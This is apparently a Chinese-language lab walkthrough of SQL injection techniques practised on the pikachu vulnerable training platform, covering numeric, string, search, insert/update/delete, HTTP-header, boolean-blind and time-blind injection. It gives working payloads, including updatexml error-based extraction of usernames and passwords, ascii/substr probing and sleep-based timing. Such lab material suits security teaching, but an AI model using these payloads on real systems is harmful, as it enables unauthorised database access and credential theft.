sql注入漏洞概述:
数据库注入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击者可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,
导致数据库信息泄露的一种漏洞。
sql注入攻击流程:
常见注入类型:
数字型 user_id=$id
字符型 user_id=‘$id‘
搜索型 text like ‘%{$_GET[‘search‘]}‘ "
我们就可以开始在pikachu平台去尝试进行sql注入
数字型注入(post):
选择一个数字,例如1,查询并抓包
将抓包内容发送到repeater模块,我们可以在1后面添加payload“or 1=1”
我们发现所有用户信息都被爆出,这说明它存在数字型注入漏洞
我们可以查看一下他的源码,post请求直接把id带到SQL语句中,没有做任何处理,所以id这里存在sql注入漏洞;
字符型注入(get):
输入数据库中存在用户kobe,查询
因为是get,所以我们可以不用抓包,直接尝试
字符型的注入,我们可以加单引号、双引号、括号、以及他们的组合并且注释,去测试
当我们输入kobe‘--+’时信息全部爆出,所以它存在单引号字符型注入漏洞
查看源码,发现字符型,name被单引号包裹
SQL搜索型注入:
这里可以进行用户名搜索,所以我们可以猜测他是否使用了数据库中的搜索逻辑
查看源码,可以发现模糊查询使用了like,name被单引号和%包裹,所以我们需要构造单引号闭合,且闭合需要加%
输入payload xxx%’ or 1=1 #信息全部爆出
SQLxx型注入:
查看源码我们发现(‘$name‘),name被单引号及括号包裹,类似搜索型
我们可以输入payload xxx’) or 1=1#
”insert/update“注入:
MySQL 表中使用 INSERT INTO SQL语句来插入数据
以下为向MySQL数据表插入数据通用的 INSERT INTO SQL语法:
INSERT INTO table_name ( field1, field2,...fieldN )
VALUES
( value1, value2,...valueN );
如果数据是字符型,必须使用单引号或者双引号,如:"value"。
下面我们打开pikachu此界面,首先进行信息注册
我们输入用户名为单引号,密码随意,发现语法报错,这意味着我们输入的内容在后台参与了mysql的拼接
那我们就可以在用户名处输入sql查询语句,让他insert到后台数据库,爆出相应信息
a’or updatexml(1,concat(0x7e,database()),0)or ‘
UPDATE介绍:用于更新表中的现有数据。亦可用UPDATE
语句来更改表中单个行,一组行或所有行的列值。
MySQL-UPDATE语法: UPDATE [LOW_PRIORITY] [IGNORE] table_name SET column_name1 = expr1, column_name2 = expr2, ... WHERE condition;
在上面UPDATE
语句中:
第一,在UPDATE
关键字后面指定要更新数据的表名。
第二,SET
子句指定要修改的列和新值。要更新多个列,请使用以逗号分隔的列表。
第三,使用WHERE语句中的条件指定要更新的行。
WHERE
子句是可选的。 如果省略WHERE
子句,则UPDATE
语句将更新表中的所有行。
我们可以登陆进去后,写入相应语句去爆破数据库
a‘ or updatexml(1, concat(0x7e,(select (concat_ws(‘-‘,username,password)) from pikachu.users limit 0,1) ),1) or ‘
”delect“注入:
DELETE FROM 命令用于删除 MySQL 数据表中的记录。
DELETE FROM 表名称 WHERE 列名称 = 值
查看源码我们发现他直接把id内容直接拼接到了数据库中
进入页面储存1234567信息删除并抓包,发送到repertar,我们根据删除行的信息得出表名
输入1 or updatexml(1,concat(0x7e,database()),0)语句将id转换,并转码
点击发送,我们可以在最右边底部,我们可以获取到数据库信息
“http header”注入:
HTTP头注入其实并不是一个新的SQL注入类型,而是指出现SQL注入漏洞的场景。有些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证),或者通过http header头信息获取客户端的一些资料,比如useragent、accept字段等。会对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑则可能会导致基于http header的SQL Inject漏洞。
进入页面输入用户名密码admin/123456进行登录
查看登陆后信息我们猜测后端是不是对http header里面的数据进行了获取,进行了相关数据库的操作
我们点击退出并抓包将内容发送到repeater模块
修改user-agent 为
firefox’ or updatexml(1,concat(0x7e,database()),0)or ‘
布尔盲注:
布尔盲注主要表现:
1.没有报错信息
2.结果都只显示两种情况(0或1)
3.在正确的输入下,输入and 1=1/and 1=2可以判断
其实主要就是利用字符的ascii码进行比对,看回显结果,一步步缩小范围,直到验证成功。
输入 kobe’ and ascii(substr(database(),1,1))>120#
回显失败说明小于120
输入 kobe’ and ascii(substr(database(),1,1))=112#
我们可以知道数据库名第一个字母ascil码为112,即p,改变substr提取的值一个一个试直到完全爆出
查库: select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema‘security‘
查列:select column_name from information_schema.columns where table_name=‘users‘
查字段:select username,password from security.users
时间盲注:
时间盲注主要使用if语句,通过延迟信息进行判断,不看回显信息
kobe’ and sleep(5)#
若正确,页面延迟5秒,不正确直接返回,我们可以用sleep判断相应语句是否正确,来
获取数据库信息,这种方法也很慢